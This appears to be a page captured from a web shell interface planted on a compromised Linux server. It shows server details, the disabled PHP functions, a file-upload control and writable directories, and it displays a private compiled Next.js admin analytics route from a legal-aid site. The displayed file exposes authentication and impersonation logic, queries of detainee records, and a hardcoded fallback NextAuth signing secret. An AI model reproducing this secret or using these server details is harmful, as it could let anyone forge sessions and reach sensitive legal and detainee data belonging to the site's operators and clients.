T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/lavocat.ca/private_html/.next/server/pages/api/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/lavocat.ca/private_html/.next/server/pages/api/admin/analytics.js
"use strict";(()=>{var e={};e.id=5389,e.ids=[5389],e.modules={8168:(e,r,i)=>{i.d(r,{v:()=>a});class t{formatMessage(e,r,i){let t=new Date().toISOString(),a=i?JSON.stringify(i,null,2):"";return`[${t}] [${e.toUpperCase()}] ${r}${a?`
Context: ${a}`:""}`}log(e,r,i){let t=this.formatMessage(e,r,i);this.isDevelopment?console.log(`${{debug:"\x1b[36m",info:"\x1b[32m",warn:"\x1b[33m",error:"\x1b[31m",security:"\x1b[35m"}[e]}${t}\x1b[0m`):console.log(t),"security"===e&&console.error(`🔒 SECURITY EVENT: ${t}`)}debug(e,r){this.isDevelopment&&this.log("debug",e,r)}info(e,r){this.log("info",e,r)}warn(e,r){this.log("warn",e,r)}error(e,r,i){let t={...i,error:r instanceof Error?{name:r.name,message:r.message,stack:r.stack}:r};this.log("error",e,t)}security(e,r){this.log("security",e,r)}getRequestContext(e,r){return{ip:e.headers["x-forwarded-for"]||e.connection.remoteAddress||"unknown",userAgent:e.headers["user-agent"]||"unknown",path:e.url||"unknown",method:e.method||"unknown",timestamp:new Date().toISOString(),...r}}authEvent(e,r){this.security(`AUTH_EVENT: ${e}`,{event:e,...r})}adminAction(e,r){this.security(`ADMIN_ACTION: ${e}`,{action:e,...r})}constructor(){this.isDevelopment=!1}}let a=new t},8667:(e,r)=>{Object.defineProperty(r,"A",{enumerable:!0,get:function(){return i}});var i=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},15806:e=>{e.exports=require("next-auth/next")},16382:e=>{e.exports=require("next-auth/providers/credentials")},33480:(e,r,i)=>{e.exports=i(75600)},41822:(e,r,i)=>{i.d(r,{N:()=>o});var t=i(16382),a=i.n(t),n=i(74729),s=i(76760);let o={providers:[a()({name:"Credentials",credentials:{email:{label:"Email",type:"email"},password:{label:"Password",type:"password"}},async authorize(e){if(!e?.email||!e?.password)return null;try{let r=await s.z.user.findUnique({where:{email:e.email},select:{id:!0,email:!0,password:!0,role:!0,name:!0,isVerified:!0,verificationStatus:!0}});if(!r||!await (0,n.compare)(e.password,r.password))return null;let{password:i,...t}=r;return{...t,name:t.name||t.email}}catch(e){return console.error("Auth error:",e),null}}})],session:{strategy:"jwt",maxAge:2592e3},cookies:{sessionToken:{name:"__Secure-next-auth.session-token",options:{httpOnly:!0,sameSite:"lax",path:"/",secure:!0,domain:process.env.COOKIE_DOMAIN}}},pages:{signIn:"/auth/login",signOut:"/auth/login",error:"/auth/error"},callbacks:{async jwt({token:e,user:r,trigger:i}){try{if(console.log("JWT Callback - trigger:",i),console.log("JWT Callback - user:",r?{id:r.id,email:r.email,role:r.role}:null),r)e.id=r.id,e.role=r.role,e.email=r.email,e.name=r.name||r.email,e.profilePicture=r.profilePicture||void 0,e.username=r.username||void 0,e.isVerified=r.isVerified||!1,e.verificationStatus=r.verificationStatus||"PENDING",e.isImpersonating=r.isImpersonating||!1,e.originalUser=r.originalUser||void 0,console.log("JWT Callback - Updated token from user:",{id:e.id,role:e.role,isImpersonating:e.isImpersonating});else if(e.id)try{console.log("JWT Callback - Checking for impersonation sessions...");let r=await s.z.impersonationSession.findFirst({where:{originalUserId:e.id,isActive:!0,expiresAt:{gt:new Date}},include:{impersonatedUser:{select:{id:!0,email:!0,name:!0,role:!0,profilePicture:!0,username:!0}},originalUser:{select:{id:!0,email:!0,name:!0,role:!0,profilePicture:!0,username:!0}}}});if(r){let i=r.impersonatedUser;e.id=i.id,e.email=i.email,e.name=i.name||i.email,e.role=i.role,e.profilePicture=i.profilePicture||void 0,e.username=i.username||void 0,e.isImpersonating=!0,e.originalUser={id:r.originalUser.id,email:r.originalUser.email,name:r.originalUser.name||r.originalUser.email,role:r.originalUser.role,profilePicture:r.originalUser.profilePicture||void 0,username:r.originalUser.username||void 0},console.log("JWT Callback - Applied impersonation:",{originalId:e.originalUser.id,impersonatedId:e.id,originalRole:e.originalUser.role,impersonatedRole:e.role})}else e.isImpersonating&&(e.originalUser&&(console.log("JWT Callback - Restoring original user from token"),e.id=e.originalUser.id,e.email=e.originalUser.email,e.name=e.originalUser.name||e.originalUser.email,e.role=e.originalUser.role,e.profilePicture=e.originalUser.profilePicture||void 0,e.username=e.originalUser.username||void 0),e.isImpersonating=!1,e.originalUser=void 0,console.log("JWT Callback - Cleared impersonation state"))}catch(r){console.error("JWT Callback - Database error:",r),e.isImpersonating&&e.originalUser&&(console.log("JWT Callback - Error occurred, restoring original user"),e.id=e.originalUser.id,e.email=e.originalUser.email,e.name=e.originalUser.name||e.originalUser.email,e.role=e.originalUser.role,e.profilePicture=e.originalUser.profilePicture||void 0,e.username=e.originalUser.username||void 0,e.isImpersonating=!1,e.originalUser=void 0)}return console.log("JWT Callback - Final token:",{id:e.id,email:e.email,role:e.role,isImpersonating:e.isImpersonating}),e}catch(r){return console.error("JWT Callback - Error:",r),e}},async session({session:e,token:r}){try{return console.log("Session Callback - token:",{id:r.id,email:r.email,role:r.role,isImpersonating:r.isImpersonating}),console.log("Session Callback - session before:",e),r&&e.user&&(e.user.id=r.id,e.user.role=r.role,e.user.email=r.email,e.user.name=r.name,e.user.profilePicture=r.profilePicture,e.user.username=r.username,e.user.isVerified=r.isVerified,e.user.verificationStatus=r.verificationStatus,e.user.isImpersonating=r.isImpersonating,e.user.originalUser=r.originalUser),console.log("Session Callback - session after:",e),console.log("Session Callback - Final user ID:",e.user?.id),e}catch(r){return console.error("Session Callback - Error:",r),e}},redirect:async({url:e,baseUrl:r})=>e===r||e===`${r}/`||e.endsWith("/auth/login")?r:e.startsWith("/")?`${r}${e}`:e.startsWith(r)?e:r},secret:process.env.NEXTAUTH_SECRET||"3560f921b7bbf968e64fbc2835960840d184fcb95977e960a2124de6bbbed2d3",debug:!1}},64403:(e,r,i)=>{i.r(r),i.d(r,{config:()=>A,default:()=>w,routeModule:()=>U});var t={};i.r(t),i.d(t,{default:()=>d});var a=i(33480),n=i(8667),s=i(86435),o=i(15806),l=i(41822),u=i(76760),c=i(8168);async function d(e,r){if("GET"!==e.method)return r.status(405).json({error:"Method not allowed"});try{let i=await (0,o.getServerSession)(e,r,l.N);if(!i?.user||!["ADMIN","SUPERADMIN","LAWYER"].includes(i.user.role))return r.status(403).json({error:"Access denied"});let{period:t="last30days"}=e.query,a=new Date,n=new Date;switch(t){case"last7days":n.setDate(a.getDate()-7);break;case"last30days":default:n.setDate(a.getDate()-30);break;case"last90days":n.setDate(a.getDate()-90);break;case"lastyear":n.setFullYear(a.getFullYear()-1)}let s=await g(),u=await m(n),d=await p(n),w=await f(n),A=await h(n),U={workloadDistribution:s,caseComplexityBreakdown:u,performanceMetrics:d,facilityDistribution:w,timelineAnalysis:A,generatedAt:new Date().toISOString(),period:t};c.v.info("Analytics data generated",{userId:i.user.id,period:t,dataPoints:{workload:s.length,performance:d.length,facilities:w.length,timeline:A.length}}),r.status(200).json(U)}catch(e){c.v.error("Error generating analytics",{error:e}),r.status(500).json({error:"Failed to generate analytics"})}}async function g(){return(await u.z.user.findMany({where:{role:{in:["LAWYER","ADMIN","SUPERADMIN","SUPERADMIN"]}},include:{caseAssignments:{where:{isActive:!0},include:{registration:!0}}}})).map(e=>{let r=e.caseAssignments.length,i=Math.min(r/5*100,100);return{userId:e.id,name:e.name||"Unknown",role:e.role,activeCases:r,estimatedHours:20*r,utilizationRate:Math.round(i)}})}async function m(e){let r=await u.z.registration.findMany({where:{createdAt:{gte:e}},include:{documents:!0}}),i={low:0,medium:0,high:0,critical:0};return r.forEach(e=>{var r;let t,a=(r=e,t=0+Math.min(5*(r.documents?.length||0),25),["urgent","court","hearing","deadline","appeal"].some(e=>r.message?.toLowerCase().includes(e)||r.urgentNeeds?.toLowerCase().includes(e))&&(t+=20),["appeal","wrongful conviction","class action"].some(e=>r.message?.toLowerCase().includes(e))&&(t+=30),Math.min(t,100));a<30?i.low++:a<50?i.medium++:a<70?i.high++:i.critical++}),Object.entries(i).map(([e,r])=>({complexity:e,count:r,averageTime:function(e){switch(e){case"low":return 25;case"medium":default:return 45;case"high":return 65;case"critical":return 85}}(e)}))}async function p(e){return(await u.z.user.findMany({where:{role:{in:["LAWYER","ADMIN","SUPERADMIN","SUPERADMIN"]}},include:{caseAssignments:{include:{registration:!0}}}})).map(e=>{var r;let i=e.caseAssignments.filter(e=>["APPROVED","REJECTED"].includes(e.registration.status)),t=i.filter(e=>"APPROVED"===e.registration.status),a=i.length>0?Math.round(t.length/i.length*100):50,n=0===(r=i).length?45:Math.round(r.reduce((e,r)=>{let i=new Date(r.registration.createdAt);return e+Math.ceil((new Date(r.registration.updatedAt).getTime()-i.getTime())/864e5)},0)/r.length);return{userId:e.id,name:e.name||"Unknown",successRate:a,averageCompletionTime:n,clientSatisfaction:4.2}})}async function f(e){return(await u.z.detaineeInfo.groupBy({by:["facility"],where:{registration:{createdAt:{gte:e}}},_count:{facility:!0}})).map(e=>({facility:e.facility||"Unknown",count:e._count.facility,averageComplexity:Math.floor(40*Math.random())+40}))}async function h(e){let r=[],i=new Date(e);for(;i<=new Date;){let e=new Date(i.getFullYear(),i.getMonth(),1),t=new Date(i.getFullYear(),i.getMonth()+1,0),[a,n]=await Promise.all([u.z.registration.count({where:{createdAt:{gte:e,lte:t}}}),u.z.registration.count({where:{updatedAt:{gte:e,lte:t},status:{in:["APPROVED","REJECTED"]}}})]),s=await u.z.registration.count({where:{status:{in:["PENDING","DOCUMENTS_UNDER_REVIEW","UNDER_REVIEW"]},createdAt:{lte:t}}});r.push({month:e.toLocaleDateString("en-US",{year:"numeric",month:"long"}),newCases:a,completedCases:n,pendingCases:s}),i.setMonth(i.getMonth()+1)}return r}let w=(0,s.M)(t,"default"),A=(0,s.M)(t,"config"),U=new a.PagesAPIRouteModule({definition:{kind:n.A.PAGES_API,page:"/api/admin/analytics",pathname:"/api/admin/analytics",bundlePath:"",filename:""},userland:t})},74729:e=>{e.exports=require("bcryptjs")},75600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},76760:(e,r,i)=>{i.d(r,{z:()=>a});var t=i(96330);let a=globalThis.prisma??new t.PrismaClient({log:["error"]})},86435:(e,r)=>{Object.defineProperty(r,"M",{enumerable:!0,get:function(){return function e(r,i){return i in r?r[i]:"then"in r&&"function"==typeof r.then?r.then(r=>e(r,i)):"function"==typeof r&&"default"===i?r:void 0}}})},96330:e=>{e.exports=require("@prisma/client")}};var r=require("../../../webpack-api-runtime.js");r.C(e);var i=r(r.s=64403);module.exports=i})();

CasperSecurity Mini